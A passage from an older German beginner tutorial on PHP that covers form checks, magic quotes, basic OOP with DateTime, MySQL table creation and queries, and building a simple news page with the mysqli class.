Variablen gefüllt sind und mit was. Um zu gucken ob ein Formularfeld vorhanden war kann
man wie gewohnt die isset-Funktion verwenden und damit die Arrayelemente vom
$_POST-Array prüfen. Somit kann man schonmal prüfen ob alle Formularelemente
in dem Formular vorhanden waren.
<?php if (!isset($_POST['name'], $_POST['password'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } ?>
Der Inhalt kann dann mit String-Funktionen überprüft werden.
8. Magic Quotes
Wenn die (Text-)Daten aus dem Formular an das PHP-Skript gesendet werden kann es
sein dass diese Daten, je nach Inhalt, leicht verändert werden. So wird
aus dem Text Ein Text mit einem ' und einem " der Text
Ein Text mit einem \' und einem \". Dieses Verhalten wird
Magic Quotes genannt. Damit werden
Anfänger unter die Arme gegriffen die Texteingaben ungeprüft in
SQL-Queries verwenden.
Dieses Verhalten kann jedoch störend sein, insbesonde dann wenn Texte wie
Ein Text mit einem \\\\\\\' und einem \\\\\\\" entstehen, da man nicht
weiß wie man mit magic quotes richtig umgeht. Daher löschen
wir diese Backslashes mit stripslashes wieder falls
magic quotes aktiviert ist. Dies geht am sichersten mit
folgendem Programmcode.
<?php if (get_magic_quotes_gpc()) { $in = array(&$_GET, &$_POST, &$_COOKIE); while (list($k,$v) = each($in)) { foreach ($v as $key => $val) { if (!is_array($val)) { $in[$k][$key] = stripslashes($val); continue; } $in[] =& $in[$k][$key]; } } unset($in); } ?>
Diesen PHP-Code von http://talks.php.net/show/php-best-practices/26
muss man nicht verstehen aber er sorgt dafür dass in den $_GET-,
$_POST- und $_COOKIE-Arrays die Backslashes gelöscht werden die
durch magic quotes entstanden sind. Diesen Code werden wir dann
für unsere Skripte verwenden.
OOP ist die Abkürzung von Objektorientiertes Programmieren
und beschreibt ein Paradigma in dem
Programmcode zusammengepackt wird und eine Einheit bilden. Diesen Programmcode nennt man dann
eine Klasse, die einen Namen bekommt. Von dieser Klasse erstellt bzw. instanziiert
man Objekte. Die einfachste Umschreibung eines Objektes: Ein Array mit Funktionen.
Auch wenn diese Umschreibung nicht alles umschreibt was mit Klassen und den dazugehörigen Objekten
möglich ist, ist diese Umschreibung für einen Anfänger der einfachste Einstieg in OOP. Objekte
besitzen intern eine Anzahl von vorher definierten Variablen die zusammen den aktuellen Zustand des
Objekts beschreiben (daher auch "Ein Array [...]"). Des Weiteren existieren Funktionen in diesem Objekt
die mit diesen Werten arbeiten können (daher auch "[...] mit Funktionen"). Diese Funktionen werden
in OOP dann Methoden genannt. Obwohl es im Bereich OOP deutlich mehr zu
erklären gibt reicht dieses Wissen erstmal um mit Klassen in PHP zu arbeiten. Wenn es dann aber darum
geht eigene Klassen zu schreiben, ja dann beginnt der Spaß mit
Kapselung,
Vererbung,
Entwurfsmuster und
und und ...
2. Objekte aus einer Klasse erstellen
Klassen werden für Anfänger auch als Schablone bezeichnet. In den Programmiersprachen
ist es dann Möglich aus einer Klasse ein Objekt dieser Klasse zu erzeugen. In PHP wird
dafür das Schlüsselwort new verwendet. Hinter dem Schlüsselwort wird die Klasse
angegeben von der wir ein Objekt erzeugen wollen.
<?php $obj = new DateTime(); ?>
Dieser Programmcode erstellt ein neues DateTime-Objekt und speichert in der Variable
$obj ein Verweis auf dieses Objekt. Die Variable selbst enthält also nicht das Objekt
selbst sondern nur eine Referenz auf dieses Objekt. Mit var_dump können
wir uns dieses Objekt mal angucken.
<?php $obj = new DateTime(); var_dump($obj); ?>
Die Ausgabe sieht wie folgt aus.
object(DateTime)#1 (0) {
}
Falls das Objekt öffentliche Attribute hat (die wir oben mit Arrayelement verglichen haben) werden diese
wie bei einem var_dump mit einem Array angezeigt. Die Klasse DateTime hat jedoch keine öffentliche
Attribute (und das ist auch gut so, aber das ist ein anderes Thema...).
3. Arbeiten mit einem Objekt
Wenn wir nun ein Objekt instanziiert haben möchten wir nun auch damit arbeiten. Dafür wird der ->-Operator
verwendet. Links steht dabei die Variable die auf das Objekt zeigt, rechts die Methode oder die Eigenschaft/das Attribut auf
welches man zugreifen möchte. Als Beispiel rufen wir die format()-Methode auf (date_format).
<?php $obj = new DateTime(); echo $obj->format('H:i:s'); ?>
Es ist klar das hier auch ein einfacher date-Aufruf, oder besser sogar ein
strftime-Aufruf reicht, aber wir wollen ja lernen wie
man mit Objekten rumhantiert.
4. Konstruktoren
Beim Erstellen eines Objektes wird eine spezielle Methode, der Konstruktor,
aufgerufen. Dieser dient dazu beim instanziieren des Objektes die Attribute zu initialisieren.
Beim DateTime-Objekt wird z.B. die Zeitzone und der aktuelle
Zeitpunkt im Objekt gespeichert. Konstruktoren sind fast normal Methoden und können
entsprechend auch Parameter besitzen. In der Funktionsbeschreibung von
date_create sind diese z.B. für die DateTime-Klasse beschrieben.
<?php $obj = new DateTime("-1 day"); ?>
5. Destruktoren
Destruktoren sind spezielle Methoden die aufgerufen werden wenn die
letzte Referenz auf ein Objekt gelöscht wurde. Da es keine Möglichkeit mehr gibt das Objekt
zu erreichen sorgt PHP dafür dass der Destruktor aufgerufen wird und löscht dann das Objekt
selbst. Destruktoren dienen dazu das Objekt sauber zu löschen, so kann ein Objekt was
mit der Datenbank arbeitet im Destruktor die Datenbankverbindung beenden bevor es dann
gelöscht wird.
Was immer auch ein PHP-Skript verarbeitet früher oder
später müssen Daten für weitere Skriptaufrufe abgespeichert werden.
Variableninhalte sterben mit dem Ende des Skriptaufrufs und verschwinden
aus dem Speicher. Um Daten abzuspeichern können diese Beispielsweise
in eine Datei abgelegt werden. Das PHP-Skript öffnet dabei eine
Datei und schreibt die Daten in das Skript rein, so als würde ein
Benutzer mit einem Texteditor eine Datei bearbeiten. In PHP
kann dies jedoch aufwendig werden, da die Daten mehr oder weniger
einfach so in der Datei liegen. Bei großen Inhalten
heißt dies die richtige Stelle zu suchen und die entsprechenden Daten
auszulesen bzw. zu bearbeiten. So könnte z.B. ein Gästebuch implementiert
werden, wo die einzelnen Gästebucheinträge in einer Datei abgelegt werden.
User|20. Jan 2008|Echt gute Seite
User2|11. Feb 2008|Hallo Paul, wie gehts?
User3|13. Feb 2008|Coole Seite. Besuch auch mal meine Homepage
Jede Zeile wäre dann ein einzelner Gästebucheintrag und das Zeichen
| dient als Trennzeichen um den Benutzernamen, das Schreibdatum
und den eigentlichen Text zu trennen. Das PHP-Skript zum Anzeigen hangelt
sich nun durch die Datei und liest die Zeilen aus und trennt die Inhalte
mit explode an den |-Zeichen.
Bei der Verwendung einer relationalen Datenbank wie MySQL wird ein anderer
Weg eingeschlagen. Die Daten werden dabei nicht in Dateien abgelegt sondern
in eine Tabelle. Pro Eintrag für diese Tabelle wird eine Zeile angelegt, der
auch Datensatz genannt wird. Ein Gästebucheintrag würde sich als Zeile bzw.
Datensatz in dieser Tabelle wiederfinden. MySQL-Datenbanken verwenden folgenden
Aufbau.
Als Grundgerüst einer MySQL-Datenbank besteht die MySQL-Anwendung
selbst. Es ist technisch gesehen erstmal nur ein installiertes
Programm welches ständig läuft (wie ein Webserver) und auf Anfragen
wartet. Der Zugriff auf die Datenbank ist dabei durch ein Loginsystem
geschützt.
Innerhalb der MySQL-Datenbank existieren die eigentlichen Datenbanken.
Diese bilden die Arbeitsbereiche für die Benutzer die sich an das System
angemeldet haben. Je nach Login und Einstellungen sind für einen
Benutzer nur bestimmte Datenbanken zur Verfügung gestellt. Bei
gängigen Webhostern erhalten die Kunden jeweils eine eigene Datenbank
innerhalb der selben MySQL-Datenbank. So erhält z.B. der Kunde
usr_123456 alleinigen Zugriff auf seine Datenbank
usr_123456 und kann in dieser Datenbank arbeiten.
Innerhalb einer Datenbank können Tabellen erstellt, bearbeitet und
gelöscht werden. Am Anfang ist dieser Bereich leer und der Benutzer
muss erst Tabellen anlegen. Dafür wird meistens ein Verwaltungsprogramm
wie phpMyAdmin verwendet.
Dieses Programm bietet eine Weboberfläche zum Verwalten der Datenbanken
und Tabellen in MySQL. Eine Tabelle besteht dabei aus einer Liste
von Spaltennamen und Typen sowie aus einigen Verwaltungseigenschaften wie
Primärschlüssel und Indizes.
Innerhalb der Tabelle werden dann die eigentlichen Datensätze
hinzugefügt. Jeder Datensatz ordnet jeder Spalte der Tabelle einen Wert
zu. So kann z.B. ein Datensatz hinzugefügt werden, dessen Spaltenwert für
Benutzer den Wert Foobar enthält und den
Spaltenwert für Geburtstag den Wert 1.1.1980 zuordnet.
Ein weitere Datensatz für einen anderen Benutzer ordnet stattdessen den
Spalten die Werte UserBar und 2.4.1975 zu. Beide
Datensätze befinden sich jedoch in der selben Tabelle. So eine Tabelle sieht
z.B. wie folgt aus.
Beispieltabelle
Benutzer
Geburtstag
Foobar
1.1.1980
UserBar
2.4.1975
Für die Verwendung einer MySQL-Datenbank werden in PHP vier Angaben benötigt. Diese
werden entsprechend vom Webhoster bzw. Administrator mitgeteilt.
Host - Mit dem Host wird der Rechner angegeben auf dem der
MySQL-Server installiert ist. Dies kann z.B. ein anderer Rechner sein, der
z.B. über db23.example.com erreichbar ist, kann jedoch auch der
gleiche Rechner sein auf dem der Webserver läuft. In diesem Fall wird
localhost als Host verwendet.
Username - Der Benutzername zum Einloggen in die Datenbank.
Password - Das Password in Verbindung mit dem Benutzernamen.
Database - Die Datenbank in dieser der Kunde arbeiten darf.
Eine Webanwendung benutzt dabei nur Tabellen aus dieser Datenbank.
In MySQL werden Daten in Tabellen in Form von Datensätzen abgespeichert.
Damit eine solche Tabelle identifiziert werden kann besitzen alle
Tabellen einen Namen. Des Weiteren gehören zu einer Tabelle eine Anzahl
von Spaltennamen und den dazugehörigen Spaltentypen. So kann z.B. die
Tabelle News eine Spalte Datum vom Typ
DATETIME enthalten. Somit besitzt jeder Datensatz ein Wert
für die Spalte Datum der vom Typ DATETIME ist.
Tabelle News
Datum
2. Typen von Spalten
MySQL unterstützt eine Menge von Spaltentypen. Aus dieser großen Menge
ist es somit möglich den richtigen Spaltentyp zu wählen der den
Anforderungen der Spalte entspricht. Eine Zahl wird daher am besten in
einem INT Feld gespeichert, ein längerer Text in einem
TEXT Feld. Eine komplette Liste von Spaltentypen ist im
MySQL-Handbuch im Kapitel Chapter 9. Data Types
zu finden. Hier eine kleine Auswahl von Spaltentypen.
INT - Dieser Spaltentyp wird verwendet um Zahlen zu speichern.
Datensätze besitzen oft eine Identifikationsspalte mit den Namen
ID. Solche Spalten besitzen zusätzlich die
Eigenschaften PRIMARY KEY (damit die Zahl nicht doppelt
verwendet wird und einen Datensatz eindeutig identifiziert) und
AUTO_INCREMENT (damit die nächste Zahl für einen neuen
Datensatz automatisch generiert wird).
VARCHAR(n) - Dieser Spaltentyp wird für sehr kleine Strings
verwendet. Der Parameter n, der je nach mysql version
kleiner als 256 oder 65.536 sein muss,
gibt die maximale Stringgröße an. In so einem Typ können z.B. Benutzernamen
und Emailadressen gespeichert werden.
DATETIME - Wird verwendet um ein Zeitpunkt inklusive Datum
anzugeben. Für ein Newssystem kann in so einem Feld der Zeitpunkt gespeichert
werden wann der Newsbeitrag hinzugefügt wurde.
TEXT - Wird verwendet um Texte zu speichern die Länger
als 255 Zeichen sind. Newsbeiträge werden somit in solch einen Feld gespeichert.
3. Erstellen von MySQL-Tabellen
Um Tabellen in MySQL zu erstellen wird der SQL-Befehl CREATE TABLE verwendet.
Dabei wird zuerst ein Tabellenname angegeben. Hierbei darf der Tabellennamen nicht aus
einem MySQL Schlüsselwort
bestehen. Danach folgt in Klammern eine Aufzählen von Spalten, die untereinander mit einem
Kommata getrennt sind. Jede Spaltenangabe besteht dabei aus den Namen und den Typ der
Spalte, kann aber auch zusätzliche Optionen wie NOT NULL, PRIMARY KEY
und AUTO_INCREMENT besitzen. Wie jeder SQL-Befehl muss auch ein CREATE TABLE
mit einem Semikolon abgeschlossen werden. Ein Beispielquery für das erstellen einer
Tabelle könnte wie folgt aussehen.
CREATE TABLE News (
ID INT AUTO_INCREMENT PRIMARY KEY,
Autor VARCHAR(30) NOT NULL,
Titel VARCHAR(50) NOT NULL,
Inhalt TEXT NOT NULL,
Datum DATETIME NOT NULL
);
Beachtet dass es sich hierbei um einen SQL-Befehl handelt. Er kann so nicht direkt im
PHP-Code verwendet werden. Um ein Befehl an eine Datenbank zu senden müssen entsprechende
Funktionen wie mysql_query oder mysqli_query verwendet werden.
Die NOT NULL-Angaben bewirken dass ein Datensatz an dieser
Stelle ein Wert besitzen muss. Dieser Query erstellt dabei folgende Tabelle.
Tabelle News
ID
Autor
Titel
Inhalt
Datum
Da die Tabelle gerade erst erstellt wurde existieren entsprechend auch noch keine Datensätze.
Achtet darauf welche Groß- und Kleinschreibung ihr für eure Tabellen und Spaltennamen verwendet. Das
MySQL-Handbuch schreibt dazu folgendes.
Each table within a database corresponds to at least one file within the database directory (and
possibly more, depending on the storage engine). Triggers also correspond to files. Consequently,
the case sensitivity of the underlying operating system plays a part in the case sensitivity of
database and table names. This means database, table, and trigger names are not case sensitive in
Windows, but are case sensitive in most varieties of Unix.
Daher empfiehlt das MySQL-Handbuch stehts die gleiche Schreibweise für Tabellen und Spalten in
SQL-Queries zu verwenden (wie z.B. immer Kleinbuchstaben).
[...] To avoid problems caused by such differences, it is best to adopt a consistent convention, such
as always creating and referring to databases and tables using lowercase names. This convention is
recommended for maximum portability and ease of use.
Nachdem die Tabelle mit den Spalten erstellt wurde kann mit dieser
gearbeitet werden. Um nun einen Datensatz in die Tabelle hinzuzufügen
wird der INSERT INTO Befehl verwendet. Nach den Schlüsselwörter
INSERT INTO gibt man die Tabelle an in der man ein neuen
Datensatz hinzufügen will. Danach kommen in Klammern und untereinander mit
Kommatas getrennt eine Liste von Spaltennamen zu denen man später
die Werte angibt, die man in den neuen Datensatz speichern will. Spalten
die hier nicht aufgeführt sind werden mit einem Standardwert belegt. So
enthalten INT-Werte Standardmäßig eine 0,
falls nichts anderes angegeben ist. Nach den Spaltennamen steht das Schlüsselwort
VALUES. Nun werden die Werte, auch wieder in Klammern und mit Kommatas getrennt,
angegeben. Wie in PHP müssen dabei auch Strings in Quotes angegeben werden.
Als Beispiel fügen wir einen Datensatz hinzu ohne irgendwelche Werte anzugeben.
INSERT INTO
News()
VALUES
();
Dieser SQL-Query füllt die Tabelle News mit folgendem Datensatz.
Tabelle News
ID
Autor
Titel
Inhalt
Datum
1
0000-00-00 00:00:00
Hier sieht man dass die ID-Spalte automatisch den Wert 1 bekommen hat. Die
Werte für Autor, Titel und Inhalt sind jeweils ein
leerer String. In der Datum-Spalte ist der (ungültige) Zeitpunkt 0000-00-00 00:00:00.
gespeichert. Als Beispiel fügen wir nun einen richtigen Datensatz ein.
INSERT INTO
News(Autor, Titel, Inhalt, Datum)
VALUES
("Ich",
"Meine erste News",
"Hiermit teste ich wie man Datensätze in MySQL einfügt",
NOW());
Hier sieht man einmal dass nur 4 der 5 Spalten angegeben wurde da die ID-Spalte
automatisch den nächsten AUTO_INCREMENT-Wert zugewiesen bekommt. Außerdem
wurde für die Spalte Datum der Wert NOW() angegeben. Dies
ist eine MySQL-Funktion die den aktuellen Zeitpunkt zurückliefert. Dieser wird dann in
die Datum-Spalte gespeichert. Wenn der Query nun ausgeführt wird
könnte z.B. folgender Datensatz hinzugefügt werden.
Tabelle News
ID
Autor
Titel
Inhalt
Datum
1
0000-00-00 00:00:00
2
Ich
Meine erste News
Hiermit teste ich wie man Datensätze in MySQL einfügt
Wenn nun die Tabellen mit Datensätzen gefüllt sind wäre es auch wünschenswert
wenn diese Datensätze ausgelesen werden können. Dazu wird der MySQL-Befehl
SELECT verwendet. Der SELECT-Befehl hat
eine sehr hohe Anzahl an Parametern.
Unabhängig wie der SELECT-Befehl nun aussieht und was er ausrechnet ist
das Ergebnis immer eine Tabelle, auch Ergebnistabelle oder
result set genannt. Diese Ergenistabelle besitzt, je nach
SELECT-Anfrage, N Spalten und M Zeilen wobei auch 0 Zeilen möglich sind. Jede
Spalte in der Ergebnistabelle besitzt einen Namen mit der man auf die entsprechende
Spalte zugreifen kann.
Als einfachen SELECT-Befehl lassen wir uns Werte zurückliefen ohne erstmal auf eine
Tabelle zuzugreifen. Dabei schreiben wir hinter dem SELECT-Schlüsselwort
die Werte hin die wir auslesen wollen. Mehrere Werte trennen wir dabei mit Kommatas.
Die Werte können konstante Werte sein, können aber auch Funktionsaufrufe sein.
SELECT NOW(), "Foobar", 6;
Dieser Query erzeugt eine Ergebnistabelle mit 3 Spalten und einer Zeile.
Ergebnistabelle vom SQL-Query
NOW()
Foobar
6
2008-08-17 14:31:10
Foobar
6
Die Spalten haben die Namen NOW(), Foobar und 6. Wie man
sieht enthält der (einzige) Datensatz in der Ergebnistabelle in der Spalte NOW()
den Wert von der Funktion zum Zeitpunkt als der Query ausgeführt wurde.
Die Spaltennamen heißen so wie die Werte in dem SELECT-Query. Um andere Namen zu verwenden wird
der AS ...-Ausdruck verwendet, wobei ... der neue Name der Spalte ist.
Er wird einfach hinter dem Wert angehängt zu er ein neue Name festgelegt werden soll.
SELECT NOW() AS Jetzt, "Foobar" AS Username, 6 AS Level;
Ergebnistabelle vom SQL-Query
Jetzt
Username
Level
2008-08-17 14:37:22
Foobar
6
Dieses Umbenennen ist wichtig wenn später versucht wird aus zwei Tabellen gleichzeitig zu lesen
aber beide Tabellen jeweils eine Spalte mit den gleichen Namen besitzen (üblicherweise die
ID-Spalte).
2. SELECT-Query einrücken
Da SELECT-Queries die Angewohnheit haben sehr lang zu werden ist es üblich ihn wie bei den
anderen SQL-Queries sauber einzurücken um die Übersicht zu erhöhen. Die Werte nach dem
SELECT-Schlüsselwort schreibt man dann üblicherweise jeweils in einer Zeile und jeweils
um eine Einrücktiefe eingerückt.
SELECT NOW() AS Jetzt, "Foobar" AS Username, 6 AS Level;
Aus dem Query wird dann folgender Query.
SELECT
NOW() AS Jetzt,
"Foobar" AS Username,
6 AS Level;
Somit sieht man sofort wieviele Spalten die Ergebnistabelle haben wird.
Da wir nun einzelne Daten auslesen können versuchen wir nun Daten aus Tabellen
auszulesen. Dazu wird der SELECT-Befehl um ein FROM ...-Teil erweitert.
Der ...-Teil gibt dabei die Tabelle an aus der wir die Daten auslesen
wollen. Wenn wir auf diese Weise eine Tabelle auslesen können wir im SELECT-Teil
die Spaltennamen aus der Tabelle verwenden. Die Syntax ist also
SELECT spalten FROM tabelle. Als Beispiel lesen wir aus der Tabelle
News die Spalten ID, Autor
und Titel aus.
SELECT
Autor,
ID,
Titel
FROM
News;
Wir erhalten folgende Ergebnistabelle.
Erebnistabelle vom SELECT-Query
Autor
ID
Titel
1
Ich
2
Meine erste News
Einmal sehen wir dass die Ergebnistabelle 3 Spalten und 2 Zeilen besitzt. Dies ist auch logisch da
die Tabelle eh nur 2 Datensätze besitzt und wir im SELECT-Query nur 3 Spalten angegeben haben. Wir
sehen aber auch dass die erste Zeile leere Strings enthält. Aber auch das ist logisch da der
Datensatz mit der ID 1 überall nur leere Strings enthält. Die Reihenfolge der Spalten können wir
nach belieben ändern, in PHP werden wir eh über die Spaltennamen (und nicht über die Spaltenpositionen)
auf die Werte zugreifen.
Um wieder zurück auf PHP zu kommen: wir wollen natürlich mit PHP auf die
Datenbank zugreifen. Da wir nicht einfach so ein SQL-Query im PHP-Skript schreiben
können brauchen wir eine Möglichkeit auf die MySQL-Datenbank zuzugreifen. Wir
verwenden dabei die mysqli-Extension, und davon die
OOP-Variante.
Die mysqli-Extension stellt eingie Klassen bereit um mit MySQL
zu arbeiten. Wir benutzen dabei die MySQLi
Klasse. Über den Konstruktor geben
wir die Zugangsinformationen an um auf die Datenbank zuzugreifen.
<?php $db = new mysqli('localhost', 'username', 'password', 'database'); ?>
Wenn keine Verbindung aufgebaut wurde so wird eine Warning erzeugt.
Wir unterdrücken diese Fehlermeldung indem wir ein @-Zeichen vor dem new-Operator
schreiben. So werden Fehlermeldungen die in dieser Zeile erzeugt werden nicht mehr angezeigt.
Dies ist jedoch keine Einladung überall @-Zeichen hinzuschreiben. Es wird nur
die Fehlermeldung unterdrückt, der Fehler selbst ist weiterhin vorhanden. Entsprechend
prüfen wir ob wir eine Verbindung zur Datenbank aufbauen konnten oder nicht. Laut
Handbuch geht dies indem wir den
Rückgabewert von mysqli_connect_errno prüfen. Wenn der ungleich 0 ist ist ein
Fehler aufgetreten, den wir dann mit mysqli_connect_error anzeigen können.
<?php $db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die ('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); } ?>
Da wir unser MySQLi-Objekt haben können wir nun damit arbeiten. Hauptsächlich ist dies
die query()-Methode (MySQLi::query), kann aber auch komplexer mit
der prepare()-Methode (>mysqli_prepare) sein. Als Parameter gibt man den
SQL-Query an, den man zur Datenbank senden möchte. Bei einem SELECT-Query
liefert diese Funktion ein MySQLi_Result-Objekt zurück.
<?php $db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die ('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); } $sql = 'SELECT Titel, Datum FROM News'; $result = $db->query($sql); ?>
Da jeder Query fehlschlagen kann, egal ob er nun syntaktisch richtig ist oder nicht, müssen
wir überprüfen ob der Query fehlerhaft war. Dazu wird der Rückgabewert von query()
überprüft. Ist dieser false so ist ein Fehler aufgetreten der über die
error-Eigenschaft des MySQLi-Objekts abgerufen werden kann.
<?php $db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die ('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); } $sql = 'SELECT Titel, Datum FROM News'; $result = $db->query($sql); if (!$result) { die ('Etwas stimmte mit dem Query nicht: '.$db->error); } var_dump($db, $result); ?>
Mit der var_dump-Zeile gucken wir uns mal an was wir für Objekte haben.
Das eine ist unser MySQLi-Objekt, das andere unser erstelltes MySQLi_Result-Objekt mit denen
wir nun arbeiten können. Zum Testen gucken wir mal wie groß die Ergebnistabelle ist, die
wir abgefragt haben. Die Anzahl ist in der num_rows-Eigenschaft gespeichert
(MySQLi_Result::num_rows).
<?php $db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die ('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); } $sql = 'SELECT Titel, Datum FROM News'; $result = $db->query($sql); if (!$result) { die ('Etwas stimmte mit dem Query nicht: '.$db->error); } echo 'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n"; ?>
In unserem Fall wird 2 ausgegeben da wir nur 2 Datensätze in der Tabelle
haben. Um nun auf die einzelnen Datensätze zuzugreifen verwenden wir die
fetch_assoc()-Methode (MySQLi_Result::fetch_assoc). Diese
Methode liefert ein Array zurück was von einem Datensatz alle Daten enthält. Jeder
Aufruf der fetch_assoc()-Methode liefert den nächsten Datensatz zurück,
bis das Ende erreicht wurde, wo dann statt dem Array der Wert NULL
zurückgeliefert wird.
<?php $db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die ('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); } $sql = 'SELECT Titel, Datum FROM News'; $result = $db->query($sql); if (!$result) { die ('Etwas stimmte mit dem Query nicht: '.$db->error); } echo 'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n"; var_dump($result->fetch_assoc()); var_dump($result->fetch_assoc()); var_dump($result->fetch_assoc()); var_dump($result->fetch_assoc()); ?>
Dieser Quellcode erzeugt folgende Ausgabe:
Die Ergebnistabelle besitzt 2 Datensätze<br />
array(2) {
["Titel"]=>
string(0) ""
["Datum"]=>
string(19) "0000-00-00 00:00:00"
}
array(2) {
["Titel"]=>
string(16) "Meine erste News"
["Datum"]=>
string(19) "2008-08-17 14:02:08"
}
NULL
NULL
Wie man sieht liefern die ersten beiden Aufrufe die entsprechenden Zeilen
in der Ergebnistabelle und dann nur noch NULL-Werte. Daher kann
man den fetch_assoc()-Aufruf ideal in einer while-Schleife
verwenden.
<?php $db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die ('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); } $sql = 'SELECT Titel, Datum FROM News'; $result = $db->query($sql); if (!$result) { die ('Etwas stimmte mit dem Query nicht: '.$db->error); } echo 'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n"; while ($row = $result->fetch_assoc()) { // NULL ist äquivalent zu false // $row ist nun das Array mit den Werten echo 'Die News "'.$row['Titel'].'" wurde am "'.$row['Datum']."\" geschrieben<br />\n"; } ?>
Nachdem wir alle Datensätze ausgelesen haben können wir die Ergebnistabelle mit
der close()-Methode wegwerfen (MySQLi_Result::close).
<?php $db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die ('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); } $sql = 'SELECT Titel, Datum FROM News'; $result = $db->query($sql); if (!$result) { die ('Etwas stimmte mit dem Query nicht: '.$db->error); } echo 'Die Ergebnistabelle besitzt '.$result->num_rows." Datensätze<br />\n"; while ($row = $result->fetch_assoc()) { // NULL ist äquivalent zu false // $row ist nun das Array mit den Werten echo 'Die News "'.$row['Titel'].'" wurde am "'.$row['Datum']."\" geschrieben<br />\n"; } $result->close(); unset($result); // und referenz zum objekt löschen, brauchen wir ja nicht mehr... ?>
Wer Lust hat kann am Ende des Skriptes noch die Verbindung zur Datenbank mit der
close()-Methode beenden (MySQLi::close), dies passiert jedoch
trivialerweise automatisch wenn das Skript beendet wird.
Unser Newsskript soll einfach implementiert werden und dabei den HTML-Code
quick'n'dirty ausgeben. Es wird dabei eine Standalone-Version, kann
und sollte also nicht mit include in einen anderen Bereich
reingeladen werden.
2. Aufbau der MySQL-Tabelle
Aus der Datenbank löschen wir die alte News-Tabelle mit phpMyAdmin
oder mit dem Befehl DROP TABLE News;. Nun überlegen wir was wir alles
für Spalten brauchen.
ID - Eine Spalte zur Identifizierung eine News. Diese Spalte
wird vom Typ INT sein und bekommt die Attribute
UNSIGNED, NOT NULL,
AUTO_INCREMENT und PRIMARY KEY.
Titel - Diese Spalte enthält den Titel der News und ist vom Typ
VARCHAR(100), 100 Zeichen müssten eigentlich reichen. Da der Titel
angegeben werden muss sollte auch diese Spalte das Attribut NOT NULL
haben.
Datum - Diese Spalte speichert den Erstellungszeitpunkt der News und ist
daher vom Typ DATETIME und auch wieder mit dem Attribut
NOT NULL.
Inhalt - Diese Spalte enthält den eigentlichen Text der News. Auch wenn
Text ein treffender Name für diese Spalte ist ist TEXT jedoch
ein MySQL-Schlüsselwort und kann (bzw. sollte) nicht verwendet werden. Den Typ dieser
Spalte setzen wir auf TEXT da eine News wohl mehr als 255 Zeichen haben wird.
Auch hier gilt wieder: Attribut NOT NULL.
Beachtet das die NOT NULL nicht verhindern einen leeren String anzugeben, sie
verhindern nur das überhaupt kein Wert angegeben wird (eben diesen NULL-Wert).
Diese Tabelle kann man nun über phpMyAdmin oder per Hand mit einem SQL-Query hinzufügen.
CREATE TABLE News(
ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Titel VARCHAR(100) NOT NULL,
Datum DATETIME NOT NULL,
Inhalt TEXT NOT NULL
);
Er ist also fast wie die alte News-Tabelle. Eigentlich hätten wir auch die alte Tabelle nehmen
können, wir fangen hier jedoch bei Null an.
3. Das eigentliche Newsskript
Nun schreiben wir das eigentliche Newsskript. Wie immer setzen wir das Error-Reporting hoch,
damit wir alle Fehlermeldungen angezeigt bekommen.
// die MySQL-Daten entsprechend anpassen $db = @new MySQLi('localhost', 'username', 'pass', 'dbname'); if (mysqli_connect_errno()) { die('Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error()); // ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung } ?>
Und nun gehts los. Zuerst geben wir den HTML-Header-Code aus. Dies machen wir aber nicht in dieser Datei
sondern in einer extra Datei, die wir dann mit include laden.
// die MySQL-Daten entsprechend anpassen $db = @new MySQLi('localhost', 'username', 'pass', 'dbname'); if (mysqli_connect_errno()) { die('Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error()); // ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung }
include 'header.html'; // DOCTYPE, <html>, <head>, und was dazugehört // inclusive den <body>-Tag ?>
Nun senden wir den SQL-Query und geben in einer Schleife die Daten aus.
// die MySQL-Daten entsprechend anpassen $db = @new MySQLi('localhost', 'username', 'pass', 'dbname'); if (mysqli_connect_errno()) { die('Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error()); // ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung }
include 'header.html'; // DOCTYPE, <html>, <head>, und was dazugehört // inclusive den <body>-Tag $sql = 'SELECT Titel, Datum, Inhalt FROM News ORDER BY Datum DESC'; // "ORDER BY" damit die Datensätze nach der Datumsspalte sortiert werden, absteigend
$result = $db->query($sql); if (!$result) { die ('Konnte den Folgenden Query nicht senden: '.$sql."<br />\nFehlermeldung: ".$db->error); } if (!$result->num_rows) { echo '<p class="info">Es sind keine Newsbeiträge vorhanden</p>'; } else { while ($row = $result->fetch_assoc()) { echo '<h1>'.$row['Titel']."</h1>\n"; echo '<h2>'.$row['Datum']."</h2>\n"; echo '<p>'.$row['Inhalt']."</p>\n"; } } ?>
Und dann geben wir am Ende noch den HTML-Footer aus. Den laden wir auch mit einem
include.
